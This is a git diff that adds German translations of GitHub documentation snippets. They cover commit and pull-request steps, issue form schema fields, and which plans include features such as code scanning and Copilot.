+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102120"
+---
+1. Klicke oberhalb der Dateiliste im Dropdownmenü **Datei hinzufügen** auf **Neue Datei erstellen**.
+  ![„Neue Datei erstellen“ im Dropdownmenü „Datei hinzufügen“](/assets/images/help/repository/create_new_file.png)
diff --git a/translations/de-DE/data/reusables/files/choose-commit-email.md b/translations/de-DE/data/reusables/files/choose-commit-email.md
new file mode 100644
index 0000000000..e8e07c32bf
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/choose-commit-email.md
@@ -0,0 +1,4 @@
+{% ifversion fpt or ghec %}
+1. If you have more than one email address associated with your account on {% data variables.location.product_location %}, click the email address drop-down menu and select the email address to use as the Git author email address. Only verified email addresses appear in this drop-down menu. If you enabled email address privacy, then `<username>@users.noreply.github.com` is the default commit author email address.  For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+![Choose commit email addresses](/assets/images/help/repository/choose-commit-email-address.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/files/choose_commit_branch.md b/translations/de-DE/data/reusables/files/choose_commit_branch.md
new file mode 100644
index 0000000000..74033fa6ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/choose_commit_branch.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 85338dad2718397f55087a849a3a35a5ab1643bb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102111"
+---
+1. Lege unter den Commit-Mitteilungsfeldern fest, ob Du Dein Commit zum aktuellen Branch oder zu einem neuen Branch hinzufügen möchten. Wenn dein aktueller Branch als Standardbranch festgelegt ist, solltest du einen neuen Branch für deinen Commit und dann einen Pull Request erstellen. Weitere Informationen findest du unter [Erstellen eines neuen Pull Requests](/articles/creating-a-pull-request).
+  ![Commitbranchoptionen](/assets/images/help/repository/choose-commit-branch.png)
diff --git a/translations/de-DE/data/reusables/files/choose_pull_request.md b/translations/de-DE/data/reusables/files/choose_pull_request.md
new file mode 100644
index 0000000000..692a9848a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/choose_pull_request.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d326540dccbf5c9c347b17655e0c8d7207040c95
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102108"
+---
+1. Erstelle einen Pull Request für deine vorgeschlagenen Änderungen.
+2. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du mergen möchtest.
diff --git a/translations/de-DE/data/reusables/files/commit-author-email-options.md b/translations/de-DE/data/reusables/files/commit-author-email-options.md
new file mode 100644
index 0000000000..adea8ef553
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/commit-author-email-options.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 40da80eba8e1b2429acf28590cd3829c76c2cd4f
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878931"
+---
+{% ifversion fpt or ghec %} Wenn du den Datenschutz für E-Mail-Adressen nicht aktiviert hast, kannst du auswählen, unter welcher verifizierten E-Mail-Adresse Änderungen vorgenommen werden, wenn du Dateien bearbeitest, löschst oder erstellst oder einen Pull Request auf {% data variables.product.product_name %} mergst. Wenn du den Datenschutz für E-Mail-Adressen aktiviert hast, kann die E-Mail-Adresse des Commitautors nicht geändert werden und lautet standardmäßig `<username>@users.noreply.github.com`.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/files/confirm_merge.md b/translations/de-DE/data/reusables/files/confirm_merge.md
new file mode 100644
index 0000000000..6299b1df6d
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/confirm_merge.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 250bb67b713e1bae716bb9d853efdf24af3ce1fd
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878939"
+---
+1. Klicke auf **Merge bestätigen**.
diff --git a/translations/de-DE/data/reusables/files/delete_branch.md b/translations/de-DE/data/reusables/files/delete_branch.md
new file mode 100644
index 0000000000..db3ed81c4d
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/delete_branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fc0b66bc509f285e2a1a490b05fa7541f558b695
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877102"
+---
+1. Lösche optional den Branch. Weitere Informationen findest du unter [Erstellen und Löschen von Branches innerhalb deines Repositorys](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository).
diff --git a/translations/de-DE/data/reusables/files/merge_pull_request.md b/translations/de-DE/data/reusables/files/merge_pull_request.md
new file mode 100644
index 0000000000..c706aa497c
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/merge_pull_request.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e9769095c3b23dc57ede7940c14118600ff4c6e9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102087"
+---
+1. Klicke auf **Pull Request mergen**. Weitere Informationen findest du unter [Mergen eines Pull Requests](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request).
diff --git a/translations/de-DE/data/reusables/files/preview_change.md b/translations/de-DE/data/reusables/files/preview_change.md
new file mode 100644
index 0000000000..825a055b56
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/preview_change.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 016528806b3932153ddeec7a9055b1ef49d8542b
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877097"
+---
+1. Klicke oberhalb des neuen Inhalts auf **Vorschauänderungen**.
+![Schaltfläche „Dateivorschau“](/assets/images/help/repository/edit-readme-preview-changes.png)
diff --git a/translations/de-DE/data/reusables/files/propose_file_change.md b/translations/de-DE/data/reusables/files/propose_file_change.md
new file mode 100644
index 0000000000..ccff60e15b
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/propose_file_change.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d54f4d7bef49c1fe252045617133fc5080c23606
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882119"
+---
+1. Klicke auf **Dateiänderung vorschlagen**.
+![Schaltfläche „Dateiänderung vorschlagen“](/assets/images/help/repository/propose-file-change-quick-pull.png)
diff --git a/translations/de-DE/data/reusables/files/propose_new_file.md b/translations/de-DE/data/reusables/files/propose_new_file.md
new file mode 100644
index 0000000000..50dd49627e
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/propose_new_file.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d705f739e355537bc721d0e39215ef01b79e4891
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102079"
+---
+1. Klicke auf **Neue Datei vorschlagen**.
+![Schaltfläche „Neue Datei vorschlagen“](/assets/images/help/repository/new-file-commit-button.png)
diff --git a/translations/de-DE/data/reusables/files/write_commit_message.md b/translations/de-DE/data/reusables/files/write_commit_message.md
new file mode 100644
index 0000000000..56ecd73431
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/write_commit_message.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: da8f8a4bbf66cbdfe22febc104077cfa26d90527
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877094"
+---
+1. Am Ende der Seite schreibe eine kurze, aussagekräftige Commit-Mitteilung, welche die Änderung beschreibt, welche Du an der Datei vornimmst. Du kannst den Commit in der Commit-Mitteilung mehr als einem Autor zuordnen. Weitere Informationen findest du unter [Erstellen eines Commits mit mehreren Co-Autoren](/articles/creating-a-commit-with-multiple-authors).
+![Commit-Mitteilung für Ihre Änderung](/assets/images/help/repository/write-commit-message-quick-pull.png)
diff --git a/translations/de-DE/data/reusables/files/write_commit_message_pull_request.md b/translations/de-DE/data/reusables/files/write_commit_message_pull_request.md
new file mode 100644
index 0000000000..4cda5733a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/files/write_commit_message_pull_request.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a381bc59237061fa548c491b5a652207b13d2974
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102071"
+---
+1. Wenn Du dazu aufgefordert wirst, gib eine Commit-Mitteilung ein oder akzeptiere die Standardmitteilung.
+  ![Feld für Commitnachricht](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png)
diff --git a/translations/de-DE/data/reusables/form-schema/attributes-intro.md b/translations/de-DE/data/reusables/form-schema/attributes-intro.md
new file mode 100644
index 0000000000..805b3c3985
--- /dev/null
+++ b/translations/de-DE/data/reusables/form-schema/attributes-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b03eefaf53e60baf58f11cd16b23816bd70c325
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102068"
+---
+Für den Wert des Schlüssels `attributes` kannst du die folgenden Schlüssel festlegen.
diff --git a/translations/de-DE/data/reusables/form-schema/id-must-be-unique.md b/translations/de-DE/data/reusables/form-schema/id-must-be-unique.md
new file mode 100644
index 0000000000..201275fc3b
--- /dev/null
+++ b/translations/de-DE/data/reusables/form-schema/id-must-be-unique.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4755154f38f0c5ba0a899e99d149a06837428941
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102067"
+---
+Kann nur alphanumerische Zeichen, `-`und `_` verwenden. Muss in der Formulardefinition eindeutig sein.
diff --git a/translations/de-DE/data/reusables/form-schema/options-syntax.md b/translations/de-DE/data/reusables/form-schema/options-syntax.md
new file mode 100644
index 0000000000..088730bc35
--- /dev/null
+++ b/translations/de-DE/data/reusables/form-schema/options-syntax.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8c4d9cf87f07ddec24069115347a41b6a4538400
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102055"
+---
+Für jeden Wert im `options`-Array kannst du die folgenden Schlüssel festlegen.
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Optionen |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `label` | Der Bezeichner für die Option, der im Formular angezeigt wird. Markdown wird für Fett- oder Kursivformatierungen und Hyperlinks unterstützt. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | 
diff --git a/translations/de-DE/data/reusables/form-schema/required-key.md b/translations/de-DE/data/reusables/form-schema/required-key.md
new file mode 100644
index 0000000000..a616a82aa2
--- /dev/null
+++ b/translations/de-DE/data/reusables/form-schema/required-key.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 34a0cbfd40daa41578526246843b1c465735523b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102052"
+---
+| `required` | Verhindert die Formularübermittlung, bis das Element abgeschlossen ist. | Optional | Boolesch | false | {% octicon "dash" aria-label="The dash icon" %} | 
diff --git a/translations/de-DE/data/reusables/form-schema/validations-intro.md b/translations/de-DE/data/reusables/form-schema/validations-intro.md
new file mode 100644
index 0000000000..11db2d98a2
--- /dev/null
+++ b/translations/de-DE/data/reusables/form-schema/validations-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fad80a62382f74cba0c867bc1aae1c1456d452dd
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876777"
+---
+Für den Wert des Schlüssels `validations` kannst du die folgenden Schlüssel festlegen.
diff --git a/translations/de-DE/data/reusables/gated-features/auto-merge.md b/translations/de-DE/data/reusables/gated-features/auto-merge.md
new file mode 100644
index 0000000000..c4583bdaa4
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/auto-merge.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 74d85141d7ed6541af8fed171732a3b2428500ac
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879276"
+---
+{% ifversion ghae %}Automatisches Mergen für Pull Requests steht in internen und privaten Repositorys mit {% data variables.product.prodname_ghe_managed %}, {% else %}Automatisches Mergen für Pull Requests steht {% endif %}in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen und in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} zur Verfügung. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/autolinks.md b/translations/de-DE/data/reusables/gated-features/autolinks.md
new file mode 100644
index 0000000000..cb3c3fdf9f
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/autolinks.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a1a09f339279fcba599e16dd3b3b1e54f2e9ae04
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102039"
+---
+Autolinks sind in Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_server %} verfügbar. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/code-owners.md b/translations/de-DE/data/reusables/gated-features/code-owners.md
new file mode 100644
index 0000000000..93d32fabad
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/code-owners.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 79d254df59b0b6774fd22382809d280c903517ee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102036"
+---
+Du kannst Codebesitzer in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen sowie in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_server %} definieren. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/code-review-assignment.md b/translations/de-DE/data/reusables/gated-features/code-review-assignment.md
new file mode 100644
index 0000000000..1eaf8fdc92
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/code-review-assignment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 603a97616caf478a277c528391a5f833aea0fe85
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145951038"
+---
+Code Review-Einstellungen sind in allen öffentlichen Repositorys im Besitz einer Organisation und in allen privaten Repositorys im Besitz von Organisationen für {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} ab 2.20,{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} und {% data variables.product.prodname_ghe_cloud %} verfügbar. Weitere Informationen findest du bei den [GitHub-Produkten](/articles/githubs-products).
diff --git a/translations/de-DE/data/reusables/gated-features/code-scanning.md b/translations/de-DE/data/reusables/gated-features/code-scanning.md
new file mode 100644
index 0000000000..2dc9e6c9a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/code-scanning.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 0ea67362c541ed183fec256765d5bb9d1fd18e3c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109353"
+---
+{%- ifversion fpt %} {% data variables.product.prodname_code_scanning_capc %} ist für alle öffentlichen Repositorys auf {% data variables.product.prodname_dotcom_the_website %} verfügbar. {% data variables.product.prodname_code_scanning_capc %} ist auch für private organisationseigene Repositorys verfügbar, die {% data variables.product.prodname_ghe_cloud %} nutzen und im Besitz einer Lizenz für {% data variables.product.prodname_GH_advanced_security %} sind.
+
+{%- elsif ghec %} {% data variables.product.prodname_code_scanning_capc %} ist für alle öffentlichen Repositorys auf {% data variables.product.prodname_dotcom_the_website %} verfügbar. Zur Verwendung von {% data variables.product.prodname_code_scanning %} in einem privaten organisationseigenen Repository musst du über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} verfügen.
+
+{%- elsif ghes %} {% data variables.product.prodname_code_scanning_capc %} ist für organisationseigene Repositorys in {% data variables.product.product_name %} verfügbar. Dieses Feature erfordert eine Lizenz für {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghae %} {% data variables.product.prodname_code_scanning_capc %} ist für organisationseigene Repositorys in {% data variables.product.product_name %} verfügbar. Dies ist ein {% data variables.product.prodname_GH_advanced_security %}-Feature (kostenlos während der Betaphase).
+
+{%- endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/de-DE/data/reusables/gated-features/codespaces-classroom-articles.md b/translations/de-DE/data/reusables/gated-features/codespaces-classroom-articles.md
new file mode 100644
index 0000000000..3f865ae87e
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/codespaces-classroom-articles.md
@@ -0,0 +1 @@
+{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. To find out if you qualify for a free upgrade to {% data variables.product.prodname_team %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)."
diff --git a/translations/de-DE/data/reusables/gated-features/copilot-billing.md b/translations/de-DE/data/reusables/gated-features/copilot-billing.md
new file mode 100644
index 0000000000..f475905fca
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/copilot-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ed3544608134084a2a11c5db9e9c474b29c14e41
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109350"
+---
+Die Abrechnung für {% data variables.product.prodname_copilot %} kann derzeit nur über persönliche Konten verwaltet werden. Organisationen können die {% data variables.product.prodname_copilot %}-Abrechnung für Organisationsmitglieder derzeit nicht verwalten. Wenn du daran interessiert bist, die Abrechnung für {% data variables.product.prodname_copilot %} über deine Organisation zu verwalten, kannst du dich auf die [Warteliste](https://github.com/features/copilot/org_signup) setzen lassen.
diff --git a/translations/de-DE/data/reusables/gated-features/copilot.md b/translations/de-DE/data/reusables/gated-features/copilot.md
new file mode 100644
index 0000000000..f4f1ede0b7
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/copilot.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c408676063e80cca29eb7392181c00c4ecf7f76d
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160774"
+---
+{% data variables.product.prodname_copilot %} ist für {% data variables.product.company_short %}-Kunden mit persönlichem Konto auf {% data variables.product.prodname_dotcom_the_website %} verfügbar. {% data reusables.copilot.emus-cannot-use-copilot %}<br><br>
+
+{% data variables.product.prodname_copilot %} kann von verifizierten Student*innen, Lehrkräften und Verwalter*innen von beliebten Open Source-Projekten kostenlos verwendet werden. Wenn du kein(e) Student*in, Lehrkraft oder Verwalter*in von beliebten Open Source-Projekten bist, kannst du {% data variables.product.prodname_copilot %} mit einer einmaligen 60-Tage-Testversion kostenlos ausprobieren. Nach dem kostenlosen Test benötigst du ein kostenpflichtiges Abonnement für die weitere Nutzung. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot).
diff --git a/translations/de-DE/data/reusables/gated-features/dependency-review.md b/translations/de-DE/data/reusables/gated-features/dependency-review.md
new file mode 100644
index 0000000000..af3d498f95
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/dependency-review.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 285d547af855fed298354ee62716de9e6c168608
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062974"
+---
+{%- ifversion fpt %} Abhängigkeitsreviews sind für öffentliche Repositorys aktiviert. Abhängigkeitsreviews sind auch in privaten Repositorys im Besitz von Organisationen verfügbar, die {% data variables.product.prodname_ghe_cloud %} verwenden und über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} verfügen.
+
+{%- elsif ghec %} Abhängigkeitsreviews sind in {% data variables.product.product_name %} für öffentliche Repositorys enthalten. Um Abhängigkeitsreviews in privaten Repositorys zu verwenden, die sich im Besitz von Organisationen befinden, musst du über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} verfügen.
+
+{%- elsif ghes %} Abhängigkeitsreviews sind für Repositorys im Besitz von Organisationen in {% data variables.product.product_name %} verfügbar. Dieses Feature erfordert eine Lizenz für {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghae %} Abhängigkeitsreviews sind für Repositorys im Besitz von Organisationen in {% data variables.product.product_name %} verfügbar. Dies ist ein {% data variables.product.prodname_GH_advanced_security %}-Feature (kostenlos während der Betaphase).
+
+{%- endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/de-DE/data/reusables/gated-features/dependency-vulnerable-calls.md b/translations/de-DE/data/reusables/gated-features/dependency-vulnerable-calls.md
new file mode 100644
index 0000000000..139e3862ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/dependency-vulnerable-calls.md
@@ -0,0 +1,13 @@
+{%- ifversion fpt %}
+Detection of vulnerable calls is enabled on public repositories. This analysis is also available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have licensed {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghec %}
+Detection of vulnerable calls is included in {% data variables.product.product_name %} for public repositories. To detect vulnerable calls in private repositories owned by organizations, your organization must have a license for {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghes > 3.5 %}
+Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This feature requires a license for {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghae > 3.5 %}
+Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release).
+
+{%- endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/de-DE/data/reusables/gated-features/display-names.md b/translations/de-DE/data/reusables/gated-features/display-names.md
new file mode 100644
index 0000000000..e1a77df6e6
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/display-names.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 95abc11cb1432bcd6815a664f1753df429ca80ca
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102003"
+---
+In {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} 2.18 und höher{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_cloud %} kannst du Mitgliedern die Anzeige der Profilnamen von Kommentarverfassern erlauben. Weitere Informationen findest du bei den [GitHub-Produkten](/articles/githubs-products).
diff --git a/translations/de-DE/data/reusables/gated-features/draft-prs.md b/translations/de-DE/data/reusables/gated-features/draft-prs.md
new file mode 100644
index 0000000000..7d651d9dc2
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/draft-prs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8e0d994d78f04ffce779c939db665a1b173061f4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102000"
+---
+Pull Request-Entwürfe sind in öffentlichen Repositorys mit {% data variables.product.prodname_free_team %}, für Organisationen und älteren Abrechnungsplänen pro Repository sowie in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} 2.17+{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_cloud %} verfügbar. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/emus.md b/translations/de-DE/data/reusables/gated-features/emus.md
new file mode 100644
index 0000000000..c7114e750f
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/emus.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4bcc829a94949275f1af0c8f2107a07bb8545117
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884987"
+---
+Um Benutzer in deinem Unternehmen mit deinem Identitätsanbieter zu verwalten, muss dein Unternehmen für {% data variables.product.prodname_emus %} aktiviert sein, die in {% data variables.product.prodname_ghe_cloud %} verfügbar sind. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users).
diff --git a/translations/de-DE/data/reusables/gated-features/enterprise-accounts.md b/translations/de-DE/data/reusables/gated-features/enterprise-accounts.md
new file mode 100644
index 0000000000..ac9e9bb2a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/enterprise-accounts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 56aa6bc09ed1ee32df3f51dcd033cc74c60e54f0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101988"
+---
+Unternehmenskonten sind mit {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_server %} verfügbar. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %} in der Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/enterprise_account_webhooks.md b/translations/de-DE/data/reusables/gated-features/enterprise_account_webhooks.md
new file mode 100644
index 0000000000..41e6cf83d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/enterprise_account_webhooks.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: b741f343a35c7e389eb4e7aa5915cab8a2ae67a3
